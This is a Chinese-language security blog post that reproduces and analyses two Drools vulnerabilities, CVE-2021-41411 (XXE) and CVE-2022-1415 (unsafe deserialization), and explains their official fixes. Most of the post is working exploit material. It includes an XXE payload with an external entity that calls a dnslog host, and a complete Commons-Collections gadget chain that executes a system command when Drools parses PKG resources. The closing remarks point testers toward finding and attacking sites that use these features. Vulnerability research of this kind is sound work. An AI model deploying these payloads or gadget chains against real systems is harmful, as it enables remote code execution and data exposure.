前言:
Drools是做什么的,在什么地方使用,这个我们在分析前首先要了解下,Drools可以理解为规则引擎,即业务规则管理系统,规则引擎实现了将业务决策从应用程序中分离出来,接收数据的输入,解释业务规则,并根据业务规则做出业务决策。规则引擎就是这样一个输入输出平台。现在比较流行的规则引擎之一为Drools,一款由JBoss组织提供的基于Java语言开发的开源规则引擎,Drools是KIE项目的一部分,Kie:Knowledge is everything, Jboss一些列项目的总称。
对于一些比较复杂的业务规则并且业务规则可能频繁的变动的系统比较合适使用规则引擎,如下:
- 风险控制系统——风险贷款、风险评估
- 反欺诈项目——银行贷款、征信验证
- 决策平台系统——财务计算
- 促销平台系统——满减、打折、加价购
drools是一款由JBoos组织提供的基于Java语言开发的开源规则引擎,可以将复杂的业务规则从硬编码中剥离出来,以规则脚本的形式放在文件或者特定的存储介质中(例如数据库中),使得业务规则的变更不需要修改项目代码、不用重启服务器就可以在线上环境立即生效。
大致意思就是在我们的实际项目中有很多的项目需要很多的判断,这时候就带来问题,如果使用传统的if..else..则代码会变得复杂难懂,维护起来较难并且更新规则会很麻烦,这时候就出现了Drools,我们可以将规则以drl文件的形式写入,可以做到维护方便可以编写复杂的规则系统,并且更新不需要重启,所以很多大型的项目都会使用该框架,但是该框架也不安全,目前近期爆出来的为CVE-2021-41411 && CVE-2022-1415,下面我们对这两个漏洞进行分析:
CVE-2021-41411:
复现:
官方给的介绍为:drools <=7.59.x is affected by an XML External Entity (XXE) vulnerability in KieModuleMarshaller.java. The Validator class is not used correctly, resulting in the XXE injection vulnerability.
可以看出为一个XXE漏洞,漏洞存在位置为:
drools-compiler\src\main\java\org\drools\compiler\kproject\models\KieModuleModelImpl.java
我这里使用的为6.2.0.Final版本,可以看到漏洞代码为:
这里可以看到使用的validate,但是未禁用DTD和外部实体,下面我们本地测试下:
首先我们要加载漏洞jar包在pom.xml中:
<dependencies>
<dependency>
<groupId>org.drools</groupId>
<artifactId>drools-compiler</artifactId>
<version>6.2.0.Final</version>
</dependency>
<dependency>
<groupId>org.drools</groupId>
<artifactId>drools-core</artifactId>
<version>6.2.0.Final</version>
</dependency>
</dependencies>
创建我们要加载的payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://rr3tcw.dnslog.cn">
]>
<evil>&xxe;</evil>
加载漏洞代码:
package org.example;
import org.drools.compiler.kproject.models.KieModuleModelImpl;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class cve202141411 {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream fileInputStream = new FileInputStream("payload.txt");
KieModuleModelImpl.fromXML(fileInputStream);
}
}
执行后可以看到我们的dnslog收到了信息:
当然也可以换其他的xxe代码进行攻击。
修复:
这个代码很好修复,添加安全属性禁用DTD和外部实体即可,下面为官方提供的修复:
主要添加了如下代码,设置了安全属性:
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
CVE-2022-1415:
复现:
先看看官方给的信息:drools-compiler - Deserialization of Untrusted Data,可以看出为一个反序列化漏洞,来看看漏洞存在位置:
drools-compiler/src/main/java/org/drools/compiler/builder/impl/KnowledgeBuilderImpl.java
这里我们可以先进行复现,然后调试可以更直观的看到代码漏洞:
首先我们要添加使用jar包:
<dependencies>
<dependency>
<groupId>org.drools</groupId>
<artifactId>drools-compiler</artifactId>
<version>6.2.0.Final</version>
</dependency>
<dependency>
<groupId>org.drools</groupId>
<artifactId>drools-core</artifactId>
<version>6.2.0.Final</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
编写漏洞利用代码:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.drools.compiler.builder.impl.KnowledgeBuilderImpl;
import org.drools.core.io.impl.InputStreamResource;
import org.kie.api.io.Resource;
import org.kie.api.io.ResourceType;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cve20221415 {
public static Object CommonsCollections() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"feng1");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"feng2");
outerMap.remove("feng1");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
return expMap;
}
public static void main(String[] args) {
try {
FileOutputStream fileOutputStream = new FileOutputStream("calc.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(CommonsCollections());
outputStream.close();
fileOutputStream.close();
FileInputStream in = new FileInputStream("calc.bin");
Resource resource = new InputStreamResource(in);
KnowledgeBuilderImpl builder = new KnowledgeBuilderImpl();
builder.addKnowledgeResource(resource, ResourceType.PKG,null);
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
执行后可以看到弹出了计算器:
利用代码主要为:
builder.addKnowledgeResource(resource, ResourceType.PKG,null);
其中resource为我们的恶意序列化,ResourceType.PKG则将解析方式设置为PKG,按照对PKG的解析是会将我们传入的恶意序列化数据反序列化,而不进行检查:
进入addKnowledgeResource方法后会判断是那种解析方式,漏洞存在在PKG,这里会进入addPackageFromInputStream方法:
在addPackageFromInputStream方法中可以看到is传入的是我们的弹计算器的序列化数据,然后进入streamIn方法:
这里看到在streamIn方法中执行了readObject进而执行了恶意代码:
调用栈也可以很清晰的看到:
所以只要是解析的格式为PKG格式,既可以将传入的数据反序列化操作,而不进行任何检查。
修复:
修复代码主要在KnowledgeBuilderImpl中,看看官方如何修改:
修复方案也简单,删除了addPackageFromInputStream,overrideReSource,isSwappable方法,并删除了对PKG的解析,即不对PKG进行解析,牺牲了一个类型的解析。
后记:
整个看下来CVE-2021-41411 && CVE-2022-1415还是很简单,一个为xxe漏洞,一个是反序列化漏洞,且均不复杂,在实际的测试中我们要根据这两个漏洞的特点去网站上找是否存在这类功能,在进行攻击,虽然也是一个攻击点,但是在实际的测试中可利用行并不高。